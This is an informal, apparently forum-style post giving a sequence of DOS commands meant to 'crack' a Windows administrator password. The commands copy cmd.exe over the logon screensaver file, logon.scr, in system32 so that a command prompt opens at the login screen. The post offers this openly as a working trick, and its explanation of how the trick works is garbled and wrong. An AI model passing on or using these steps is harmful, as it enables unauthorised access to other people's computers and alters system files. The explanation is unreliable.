TO CRACK administrator password

i have tried on my computer &  worked

To crack your administrator password by dos copy down the the commad given below

cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

how does it happen 

Actually when we type TEMP we create temp folder windows/system 32 file

and you delete it 

For any other command prompt  you can type HELP
